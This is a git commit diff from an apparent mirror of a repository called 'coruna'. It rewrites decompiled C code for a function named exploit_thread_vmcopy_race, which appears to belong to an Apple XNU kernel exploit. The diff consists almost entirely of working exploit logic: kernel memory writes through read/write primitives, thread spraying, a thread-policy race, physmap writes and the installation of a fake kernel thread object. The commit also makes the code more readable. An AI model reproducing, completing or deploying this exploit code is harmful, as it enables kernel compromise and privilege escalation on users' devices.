mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-07-12 06:56:38 +02:00
Rewrite vmcopy race wrapper
This commit is contained in:
@@ -228,6 +228,8 @@ enum
|
||||
VMCOPY_THREAD_POLICY_EXTRA_BITS = 0x3C0,
|
||||
VMCOPY_THREAD_POLICY_FLUSH_WIDE = 0x7FFFFFFF,
|
||||
VMCOPY_THREAD_POLICY_FLUSH_NARROW = 0x100,
|
||||
VMCOPY_RACE_DONE = 1,
|
||||
VMCOPY_RACE_RETRY = 87,
|
||||
VMCOPY_POLICY_MARK_XNU_MIN = 8796,
|
||||
VMCOPY_POLICY_MARK_DEFAULT_OFFSET = 184,
|
||||
VMCOPY_POLICY_MARK_LEGACY_CPU_OFFSET = 112,
|
||||
@@ -8473,177 +8475,166 @@ __int64 __fastcall call_vtable_ptr_slot2(__int64 a1)
|
||||
//----- (00000000000111C0) ----------------------------------------------------
|
||||
__int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
|
||||
{
|
||||
__int64 *v2; // x20
|
||||
unsigned __int64 v20; // x27
|
||||
unsigned __int64 v23; // x25
|
||||
unsigned __int64 v29; // x22
|
||||
__int64 *v35; // x24
|
||||
vm_address_t v36; // x28
|
||||
__int64 v41; // x26
|
||||
__int64 v44; // x22
|
||||
__int64 v47; // x8
|
||||
__int64 v48; // x28
|
||||
int v54; // w8
|
||||
__int64 v78; // x25
|
||||
void *v94; // [xsp+40h] [xbp-6C0h]
|
||||
__int64 v95; // [xsp+58h] [xbp-6A8h]
|
||||
__int64 v96; // [xsp+98h] [xbp-668h]
|
||||
__int64 v100; // [xsp+B0h] [xbp-650h]
|
||||
unsigned __int64 v102; // [xsp+C0h] [xbp-640h]
|
||||
__int64 v103; // [xsp+C8h] [xbp-638h]
|
||||
int v104; // [xsp+D4h] [xbp-62Ch]
|
||||
unsigned __int64 v106; // [xsp+E0h] [xbp-620h]
|
||||
unsigned int v107; // [xsp+ECh] [xbp-614h]
|
||||
unsigned __int64 v109; // [xsp+F8h] [xbp-608h]
|
||||
natural_t suspendedThreadState[0x44]; // [xsp+140h] [xbp-5C0h] BYREF
|
||||
VmcopyWritePhysmapBlock writePhysmapBlock; // [xsp+250h] [xbp-4B0h] BYREF
|
||||
integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF
|
||||
VmcopyRaceThreadBlock raceThreadBlock; // [xsp+2D0h] [xbp-430h] BYREF
|
||||
pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF
|
||||
__int64 v150; // [xsp+318h] [xbp-3E8h] BYREF
|
||||
vm_address_t v152; // [xsp+328h] [xbp-3D8h] BYREF
|
||||
thread_act_t target_act; // [xsp+334h] [xbp-3CCh] BYREF
|
||||
thread_act_t v154; // [xsp+338h] [xbp-3C8h] BYREF
|
||||
mem_entry_name_port_t object_handle; // [xsp+33Ch] [xbp-3C4h] BYREF
|
||||
int v159; // [xsp+35Ch] [xbp-3A4h] BYREF
|
||||
semaphore_t v160; // [xsp+360h] [xbp-3A0h] BYREF
|
||||
semaphore_t semaphore; // [xsp+364h] [xbp-39Ch] BYREF
|
||||
thread_act_t v162; // [xsp+368h] [xbp-398h] BYREF
|
||||
thread_act_t child_act; // [xsp+36Ch] [xbp-394h] BYREF
|
||||
uint64_t pageInfoPayload[30]; // [xsp+370h] [xbp-390h] BYREF
|
||||
__int64 *kreadCtxSlot = (__int64 *)(someStruct + VMCOPY_KREAD_CTX_OFFSET);
|
||||
int cpuBoardId = *(uint32_t *)(*(uint64_t *)(*kreadCtxSlot + 32LL) + 320LL);
|
||||
thread_act_t childThread = 0;
|
||||
thread_act_t stateThread = 0;
|
||||
semaphore_t readySemaphore = 0;
|
||||
semaphore_t resumeSemaphore = 0;
|
||||
int pageShift = 0;
|
||||
natural_t suspendedThreadState[0x44]; // BYREF
|
||||
VmcopyWritePhysmapBlock writePhysmapBlock; // BYREF
|
||||
integer_t policyInfo[4]; // BYREF
|
||||
VmcopyRaceThreadBlock raceThreadBlock; // BYREF
|
||||
pthread_t raceThread; // BYREF
|
||||
__int64 raceState; // BYREF
|
||||
thread_act_t targetThread = 0; // BYREF
|
||||
thread_act_t sprayedThread; // BYREF
|
||||
uint64_t pageInfoPayload[VMCOPY_PAGE_INFO_PAYLOAD_WORDS]; // BYREF
|
||||
VmcopyTargetThreadMapping targetMapping; // BYREF
|
||||
__int128 __dst[19]; // [xsp+460h] [xbp-2A0h] BYREF
|
||||
__int128 v180[16]; // [xsp+590h] [xbp-170h] BYREF
|
||||
__int128 savedThreadObject[19]; // BYREF
|
||||
__int128 capturedThreadSlots[16]; // BYREF
|
||||
|
||||
v2 = (__int64 *)(someStruct + 8);
|
||||
v104 = *(uint32_t *)(*(uint64_t *)(*(uint64_t *)(someStruct + 8) + 32LL) + 320LL);
|
||||
child_act = 0;
|
||||
thread_create(mach_task_self_, &child_act);
|
||||
v162 = 0;
|
||||
thread_create(mach_task_self_, &v162);
|
||||
semaphore = 0;
|
||||
semaphore_create(mach_task_self_, &semaphore, 0, 0);
|
||||
v160 = 0;
|
||||
semaphore_create(mach_task_self_, &v160, 0, 0);
|
||||
v159 = 0;
|
||||
v106 = kernel_va_base_resolver(KRWCTX_FROM_RAW_FIELD(*v2, 32), 0, &v159);
|
||||
VmcopyPackedMemoryEntry memoryEntry = vmcopy_make_packed_memory_entry(*v2, v106, v159);
|
||||
object_handle = memoryEntry.objectHandle;
|
||||
v95 = memoryEntry.pageInfoKaddr;
|
||||
v109 = memoryEntry.pageInfoTableBase
|
||||
- 48LL * memoryEntry.pageInfoRef
|
||||
+ VMCOPY_PACKED_PAGE_INFO_BASE_BIAS;
|
||||
v20 = vmcopy_find_kernel_text_page_info(someStruct, v109, v106, v159);
|
||||
kwrite_u64_to_addr(*v2, memoryEntry.objectKaddr + 24, 0);
|
||||
kwrite_u64_to_addr(*v2, memoryEntry.objectKaddr + 32, -16384);
|
||||
v154 = 0;
|
||||
vmcopy_spray_threads(&v154, VMCOPY_THREAD_SPRAY_COUNT);
|
||||
v107 = 0;
|
||||
target_act = 0;
|
||||
v103 = memoryEntry.pageInfoDataKaddr + 48;
|
||||
v102 = v95 - v106;
|
||||
v94 = (void *)(someStruct + 44);
|
||||
thread_create(mach_task_self_, &childThread);
|
||||
thread_create(mach_task_self_, &stateThread);
|
||||
semaphore_create(mach_task_self_, &readySemaphore, 0, 0);
|
||||
semaphore_create(mach_task_self_, &resumeSemaphore, 0, 0);
|
||||
|
||||
uint64_t kernelVaBase = kernel_va_base_resolver(KRWCTX_FROM_RAW_FIELD(*kreadCtxSlot, 32), 0, &pageShift);
|
||||
VmcopyPackedMemoryEntry memoryEntry = vmcopy_make_packed_memory_entry(*kreadCtxSlot, kernelVaBase, pageShift);
|
||||
mem_entry_name_port_t objectHandle = memoryEntry.objectHandle;
|
||||
uint64_t memoryEntryPageInfoKaddr = memoryEntry.pageInfoKaddr;
|
||||
uint64_t packedPageInfoBase = memoryEntry.pageInfoTableBase
|
||||
- 48LL * memoryEntry.pageInfoRef
|
||||
+ VMCOPY_PACKED_PAGE_INFO_BASE_BIAS;
|
||||
uint64_t kernelTextPageInfo = vmcopy_find_kernel_text_page_info(someStruct, packedPageInfoBase, kernelVaBase, pageShift);
|
||||
|
||||
kwrite_u64_to_addr(*kreadCtxSlot, memoryEntry.objectKaddr + 24, 0);
|
||||
kwrite_u64_to_addr(*kreadCtxSlot, memoryEntry.objectKaddr + 32, -16384);
|
||||
|
||||
sprayedThread = 0;
|
||||
vmcopy_spray_threads(&sprayedThread, VMCOPY_THREAD_SPRAY_COUNT);
|
||||
uint32_t policyOffset = 0;
|
||||
uint64_t memoryEntryPatchPageInfoKaddr = memoryEntry.pageInfoDataKaddr + 48;
|
||||
uint32_t restorePageRef = (memoryEntryPageInfoKaddr - kernelVaBase) >> pageShift;
|
||||
void *exceptionSnapshot = (void *)(someStruct + 44);
|
||||
int raceStatus;
|
||||
do
|
||||
{
|
||||
if ( !vmcopy_prepare_target_thread_mapping(
|
||||
someStruct,
|
||||
v103,
|
||||
v102 >> v159,
|
||||
object_handle,
|
||||
&target_act,
|
||||
memoryEntryPatchPageInfoKaddr,
|
||||
restorePageRef,
|
||||
objectHandle,
|
||||
&targetThread,
|
||||
&targetMapping,
|
||||
__dst) )
|
||||
savedThreadObject) )
|
||||
{
|
||||
goto LABEL_68;
|
||||
raceStatus = VMCOPY_RACE_RETRY;
|
||||
continue;
|
||||
}
|
||||
v23 = targetMapping.taskKaddr;
|
||||
v96 = targetMapping.originalThreadPtr;
|
||||
v100 = targetMapping.threadKaddr;
|
||||
v152 = targetMapping.mappedTaskPage;
|
||||
v35 = targetMapping.taskThreadSlot;
|
||||
v36 = targetMapping.mappedThreadObject;
|
||||
v150 = 0;
|
||||
memset(v180, 0, sizeof(v180));
|
||||
vmcopy_init_race_thread_block(&raceThreadBlock, &v150, &target_act, v180, v160, semaphore);
|
||||
pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &raceThreadBlock);
|
||||
semaphore_wait(semaphore);
|
||||
v29 = vmcopy_set_low_priority_and_find_policy_offset(*v2, v149, policy_info, &v107);
|
||||
flush_cpu_cache(*(uint64_t *)(someStruct + 8), v29 + v107 + 4, 1);
|
||||
vmcopy_prepare_current_thread_policy_race(*v2, v107, policy_info);
|
||||
semaphore_signal(v160);
|
||||
*(v35 - 1) = 0;
|
||||
v41 = vmcopy_apply_thread_policy_bits(someStruct, v36);
|
||||
if ( v104 <= 10001 )
|
||||
*v35 = 0;
|
||||
v44 = vmcopy_wait_for_thread_slot_replacement(*v2, v35, v96, &v150);
|
||||
pthread_join(v149, 0);
|
||||
if ( v104 <= 10001 )
|
||||
*v35 = v44;
|
||||
thread_act_t capturedThread = vmcopy_take_thread_for_kobject(*v2, (thread_act_t *)v180, sizeof(v180), v23);
|
||||
|
||||
uint64_t targetTaskKaddr = targetMapping.taskKaddr;
|
||||
uint64_t originalThreadPtr = targetMapping.originalThreadPtr;
|
||||
uint64_t targetThreadKaddr = targetMapping.threadKaddr;
|
||||
vm_address_t mappedTaskPage = targetMapping.mappedTaskPage;
|
||||
__int64 *targetThreadSlot = targetMapping.taskThreadSlot;
|
||||
vm_address_t mappedThreadObject = targetMapping.mappedThreadObject;
|
||||
|
||||
raceState = 0;
|
||||
memset(capturedThreadSlots, 0, sizeof(capturedThreadSlots));
|
||||
vmcopy_init_race_thread_block(&raceThreadBlock, &raceState, &targetThread, capturedThreadSlots, resumeSemaphore, readySemaphore);
|
||||
pthread_create(&raceThread, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &raceThreadBlock);
|
||||
semaphore_wait(readySemaphore);
|
||||
|
||||
uint64_t raceThreadKaddr = vmcopy_set_low_priority_and_find_policy_offset(*kreadCtxSlot, raceThread, policyInfo, &policyOffset);
|
||||
flush_cpu_cache(*kreadCtxSlot, raceThreadKaddr + policyOffset + 4, 1);
|
||||
vmcopy_prepare_current_thread_policy_race(*kreadCtxSlot, policyOffset, policyInfo);
|
||||
semaphore_signal(resumeSemaphore);
|
||||
|
||||
*(targetThreadSlot - 1) = 0;
|
||||
uint64_t originalNext = vmcopy_apply_thread_policy_bits(someStruct, mappedThreadObject);
|
||||
if ( cpuBoardId <= 10001 )
|
||||
*targetThreadSlot = 0;
|
||||
|
||||
uint64_t replacementThreadKaddr = vmcopy_wait_for_thread_slot_replacement(*kreadCtxSlot, targetThreadSlot, originalThreadPtr, &raceState);
|
||||
pthread_join(raceThread, 0);
|
||||
if ( cpuBoardId <= 10001 )
|
||||
*targetThreadSlot = replacementThreadKaddr;
|
||||
|
||||
thread_act_t capturedThread = vmcopy_take_thread_for_kobject(
|
||||
*kreadCtxSlot,
|
||||
(thread_act_t *)capturedThreadSlots,
|
||||
sizeof(capturedThreadSlots),
|
||||
targetTaskKaddr);
|
||||
__int64 captureState;
|
||||
if ( capturedThread )
|
||||
{
|
||||
v150 = 3;
|
||||
*(uint32_t *)(someStruct + 672) = capturedThread;
|
||||
v47 = 3;
|
||||
raceState = 3;
|
||||
*(uint32_t *)(someStruct + VMCOPY_CAPTURED_THREAD_OFFSET) = capturedThread;
|
||||
captureState = 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
v47 = v150;
|
||||
captureState = raceState;
|
||||
}
|
||||
v48 = *(uint64_t *)(v36 + 296);
|
||||
if ( v41 == v48 || v48 == 0 || v47 != 3 )
|
||||
|
||||
uint64_t replacementNext = *(uint64_t *)(mappedThreadObject + VMCOPY_MAPPED_THREAD_NEXT_OFFSET);
|
||||
if ( originalNext == replacementNext || replacementNext == 0 || captureState != 3 )
|
||||
{
|
||||
vmcopy_terminate_thread_if_live((thread_act_t *)(someStruct + 672));
|
||||
vmcopy_terminate_thread_list((thread_act_t *)v180, sizeof(v180));
|
||||
LABEL_68:
|
||||
v54 = 87;
|
||||
vmcopy_terminate_thread_if_live((thread_act_t *)(someStruct + VMCOPY_CAPTURED_THREAD_OFFSET));
|
||||
vmcopy_terminate_thread_list((thread_act_t *)capturedThreadSlots, sizeof(capturedThreadSlots));
|
||||
raceStatus = VMCOPY_RACE_RETRY;
|
||||
continue;
|
||||
}
|
||||
vmcopy_mark_thread_policy_word_if_needed(*v2, v152, v23);
|
||||
vmcopy_spray_threads_and_clear_prev_link(*v2, &v154, VMCOPY_THREAD_SPRAY_COUNT);
|
||||
kwrite_u64_to_addr(*v2, v23 + qword_48008 - 8, v100);
|
||||
kwrite_u64_to_addr(*v2, qword_48008 + v23, v96);
|
||||
v78 = vmcopy_prepare_thread_state_physmap_race(
|
||||
someStruct,
|
||||
&memoryEntry,
|
||||
v102 >> v159,
|
||||
v109,
|
||||
v106,
|
||||
v159,
|
||||
v20,
|
||||
&targetMapping,
|
||||
v162,
|
||||
child_act,
|
||||
suspendedThreadState,
|
||||
&writePhysmapBlock,
|
||||
__dst);
|
||||
|
||||
vmcopy_mark_thread_policy_word_if_needed(*kreadCtxSlot, mappedTaskPage, targetTaskKaddr);
|
||||
vmcopy_spray_threads_and_clear_prev_link(*kreadCtxSlot, &sprayedThread, VMCOPY_THREAD_SPRAY_COUNT);
|
||||
kwrite_u64_to_addr(*kreadCtxSlot, targetTaskKaddr + qword_48008 - 8, targetThreadKaddr);
|
||||
kwrite_u64_to_addr(*kreadCtxSlot, qword_48008 + targetTaskKaddr, originalThreadPtr);
|
||||
|
||||
uint64_t baselineNext = vmcopy_prepare_thread_state_physmap_race(
|
||||
someStruct,
|
||||
&memoryEntry,
|
||||
restorePageRef,
|
||||
packedPageInfoBase,
|
||||
kernelVaBase,
|
||||
pageShift,
|
||||
kernelTextPageInfo,
|
||||
&targetMapping,
|
||||
stateThread,
|
||||
childThread,
|
||||
suspendedThreadState,
|
||||
&writePhysmapBlock,
|
||||
savedThreadObject);
|
||||
uint64_t capturedSnapshot = vmcopy_run_thread_state_race(
|
||||
someStruct,
|
||||
__dst,
|
||||
savedThreadObject,
|
||||
&writePhysmapBlock,
|
||||
v160,
|
||||
semaphore,
|
||||
v78,
|
||||
v48,
|
||||
v41,
|
||||
v100);
|
||||
memcpy(v94, (const void *)capturedSnapshot, 0x130u);
|
||||
vmcopy_receive_captured_thread_exception(someStruct, v94);
|
||||
resumeSemaphore,
|
||||
readySemaphore,
|
||||
baselineNext,
|
||||
replacementNext,
|
||||
originalNext,
|
||||
targetThreadKaddr);
|
||||
memcpy(exceptionSnapshot, (const void *)capturedSnapshot, VMCOPY_THREAD_OBJECT_SNAPSHOT_BYTES);
|
||||
vmcopy_receive_captured_thread_exception(someStruct, exceptionSnapshot);
|
||||
vmcopy_install_final_fake_thread_object(
|
||||
someStruct,
|
||||
v103,
|
||||
memoryEntryPatchPageInfoKaddr,
|
||||
*(uint64_t *)(someStruct + 32),
|
||||
v102 >> v159,
|
||||
object_handle,
|
||||
restorePageRef,
|
||||
objectHandle,
|
||||
pageInfoPayload);
|
||||
*(uint32_t *)(someStruct + VMCOPY_CHILD_THREAD_PORT_OFFSET) = v162;
|
||||
if ( semaphore + 1 >= 2 )
|
||||
semaphore_destroy(mach_task_self_, semaphore);
|
||||
if ( v160 + 1 >= 2 )
|
||||
semaphore_destroy(mach_task_self_, v160);
|
||||
v54 = 1;
|
||||
*(uint32_t *)(someStruct + VMCOPY_CHILD_THREAD_PORT_OFFSET) = stateThread;
|
||||
|
||||
if ( readySemaphore + 1 >= 2 )
|
||||
semaphore_destroy(mach_task_self_, readySemaphore);
|
||||
if ( resumeSemaphore + 1 >= 2 )
|
||||
semaphore_destroy(mach_task_self_, resumeSemaphore);
|
||||
raceStatus = VMCOPY_RACE_DONE;
|
||||
}
|
||||
while ( v54 == 87 );
|
||||
while ( raceStatus == VMCOPY_RACE_RETRY );
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user